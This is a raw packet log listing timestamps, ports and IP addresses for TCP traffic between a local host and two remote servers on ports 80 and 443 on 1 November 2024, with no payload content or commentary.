Nov 1, 2024 05:52:11.151839018 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:11.151896000 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:11.190840960 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:11.190874100 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:11.190903902 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:11.190918922 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:11.190927982 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:11.190943956 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:11.191023111 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:11.191154003 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:11.191169977 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:11.191188097 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:11.191381931 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:11.191397905 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:11.191406012 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:11.191421986 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:11.191438913 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:11.191570997 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:11.233402014 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:11.233419895 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:11.233434916 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:11.233450890 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:11.233464956 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:11.233479977 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:11.233495951 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:11.233503103 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:11.233522892 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:11.233539104 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:11.233546972 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:11.233571053 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:11.233583927 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:11.233619928 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:11.233671904 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:11.233680010 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:11.233710051 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:11.233720064 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:11.233761072 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:11.233807087 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:11.233823061 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:11.233839989 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:11.233855009 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:11.233858109 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:11.233880997 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:11.233906984 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:11.234134912 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:11.234194040 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:11.234241009 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:11.234256983 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:11.234272957 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:11.234287977 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:11.234297037 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:11.234304905 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:11.234316111 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:11.234322071 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:11.234339952 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:11.234363079 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:11.234389067 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:11.234853029 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:11.234869003 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:11.234884024 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:11.234906912 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:11.234940052 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:11.270237923 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:11.270332098 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:11.270397902 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:11.270415068 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:11.270442009 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:11.270457983 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:11.270473957 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:11.270510912 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:11.270546913 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:11.270562887 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:11.270589113 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:11.270620108 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:11.270731926 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:11.270787001 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:11.270915985 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:11.270931959 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:11.270940065 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:11.270984888 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:11.270999908 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:11.271014929 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:11.271014929 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:11.271030903 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:11.271050930 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:11.271073103 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:11.271096945 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:11.271140099 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:11.271262884 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:11.310158968 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:11.310306072 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:11.310309887 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:11.310326099 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:11.310340881 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:11.310359001 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:11.310395002 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:11.310421944 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:11.310462952 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:11.310480118 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:11.310497999 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:11.310518980 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:11.310616970 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:11.310633898 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:11.310640097 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:11.310667038 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:11.310694933 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:11.310746908 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:11.310761929 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:11.310862064 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:11.310918093 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:11.310931921 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:11.310966969 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:11.310996056 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:11.311079025 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:11.311135054 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:11.352051973 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:11.352087975 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:11.352113008 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:11.352129936 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:11.352145910 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:11.352163076 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:11.352178097 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:11.352222919 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:11.352288961 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:11.352289915 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:11.352497101 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:11.352510929 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:11.352530003 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:11.352545977 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:11.352586985 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:11.352603912 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:11.352622032 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:11.352627993 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:11.352646112 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:11.352655888 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:11.352680922 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:11.352701902 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:11.352833033 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:11.352849007 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:11.352865934 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:11.352875948 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:11.352895975 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:11.352914095 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:11.353329897 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:11.353348970 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:11.353364944 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:11.353370905 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:11.353390932 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:11.353411913 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:11.353492022 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:11.353508949 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:11.353524923 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:11.353529930 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:11.353549004 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:11.353569984 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:11.353645086 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:11.353668928 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:11.353693962 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:11.353713036 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:11.353713036 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:11.353728056 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:11.353753090 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:11.353770018 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:11.389457941 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:11.389487982 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:11.389508009 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:11.389523029 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:11.389527082 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:11.389548063 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:11.389552116 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:11.389569044 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:11.389580011 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:11.389585018 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:11.389601946 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:11.389611959 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:11.389619112 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:11.389633894 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:11.389646053 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:11.389651060 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:11.389662027 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:11.389667988 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:11.389686108 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:11.389695883 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:11.389699936 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:11.389715910 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:11.389722109 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:11.389734983 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:11.389741898 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:11.389751911 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:11.389770985 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:11.389786959 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:11.429030895 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:11.429065943 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:11.429089069 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:11.429091930 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:11.429111958 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:11.429111958 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:11.429126978 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:11.429140091 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:11.429146051 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:11.429162979 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:11.429208040 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:11.429220915 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:11.429235935 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:11.429239988 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:11.429264069 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:11.429265976 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:11.429282904 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:11.429287910 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:11.429300070 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:11.429316998 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:11.429336071 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:11.429341078 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:11.429543972 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:11.429570913 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:11.429586887 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:11.429591894 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:11.429622889 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:11.429642916 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:11.470891953 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:11.470907927 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:11.470932961 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:11.470947981 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:11.470961094 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:11.470980883 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:11.471010923 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:11.471014977 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:11.471031904 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:11.471057892 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:11.471064091 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:11.471074104 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:11.471079111 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:11.471091986 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:11.471095085 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:11.471117020 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:11.471138954 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:11.471354961 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:11.471373081 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:11.471389055 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:11.471410036 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:11.471424103 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:11.471594095 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:11.471611023 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:11.471626997 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:11.471643925 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:11.471651077 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:11.471662045 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:11.471679926 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:11.471709013 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:11.471971989 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:11.471987963 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:11.472002029 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:11.472024918 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:11.472027063 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:11.472043037 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:11.472049952 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:11.472069025 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:11.472079039 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:11.472084999 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:11.472104073 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:11.472107887 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:11.472120047 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:11.472135067 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:11.472141027 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:11.472157955 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:11.472172022 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:11.507726908 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:11.507746935 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:11.507771969 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:11.507787943 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:11.507803917 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:11.507805109 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:11.507838964 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:11.507862091 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:11.507896900 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:11.507910013 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:11.507926941 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:11.507951021 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:11.507951975 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:11.507966995 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:11.507972002 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:11.508003950 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:11.508014917 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:11.508203983 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:11.508218050 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:11.508233070 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:11.508249044 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:11.508260965 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:11.508272886 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:11.508306980 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:11.508322954 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:11.508338928 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:11.508353949 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:11.508373976 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:11.508387089 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:11.508408070 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:11.508533955 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:11.508548975 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:11.508579016 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:11.508590937 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:11.508593082 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:11.508600950 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:11.508622885 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:11.508630991 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:11.508647919 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:11.508670092 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:11.547971964 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:11.547996998 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:11.548012972 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:11.548028946 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:11.548046112 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:11.548063993 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:11.548069000 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:11.548086882 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:11.548135042 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:11.548175097 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:11.548191071 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:11.548204899 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:11.548224926 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:11.548257113 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:12.889113903 CET	49732	443	192.168.2.4	142.250.185.132
Nov 1, 2024 05:52:12.889122963 CET	443	49732	142.250.185.132	192.168.2.4
Nov 1, 2024 05:52:12.889211893 CET	49732	443	192.168.2.4	142.250.185.132
Nov 1, 2024 05:52:12.890969992 CET	49732	443	192.168.2.4	142.250.185.132
Nov 1, 2024 05:52:12.890983105 CET	443	49732	142.250.185.132	192.168.2.4
Nov 1, 2024 05:52:13.181750059 CET	49735	443	192.168.2.4	142.250.185.132
Nov 1, 2024 05:52:13.181792974 CET	443	49735	142.250.185.132	192.168.2.4
Nov 1, 2024 05:52:13.181925058 CET	49735	443	192.168.2.4	142.250.185.132
Nov 1, 2024 05:52:13.182310104 CET	49735	443	192.168.2.4	142.250.185.132
Nov 1, 2024 05:52:13.182347059 CET	443	49735	142.250.185.132	192.168.2.4
Nov 1, 2024 05:52:13.325052977 CET	49736	443	192.168.2.4	142.250.185.132
Nov 1, 2024 05:52:13.325156927 CET	443	49736	142.250.185.132	192.168.2.4
Nov 1, 2024 05:52:13.325236082 CET	49736	443	192.168.2.4	142.250.185.132
Nov 1, 2024 05:52:13.325500965 CET	49736	443	192.168.2.4	142.250.185.132
Nov 1, 2024 05:52:13.325537920 CET	443	49736	142.250.185.132	192.168.2.4
Nov 1, 2024 05:52:13.403052092 CET	49737	443	192.168.2.4	142.250.185.132
Nov 1, 2024 05:52:13.403099060 CET	443	49737	142.250.185.132	192.168.2.4
Nov 1, 2024 05:52:13.403228045 CET	49737	443	192.168.2.4	142.250.185.132
Nov 1, 2024 05:52:13.403479099 CET	49737	443	192.168.2.4	142.250.185.132
Nov 1, 2024 05:52:13.403501987 CET	443	49737	142.250.185.132	192.168.2.4
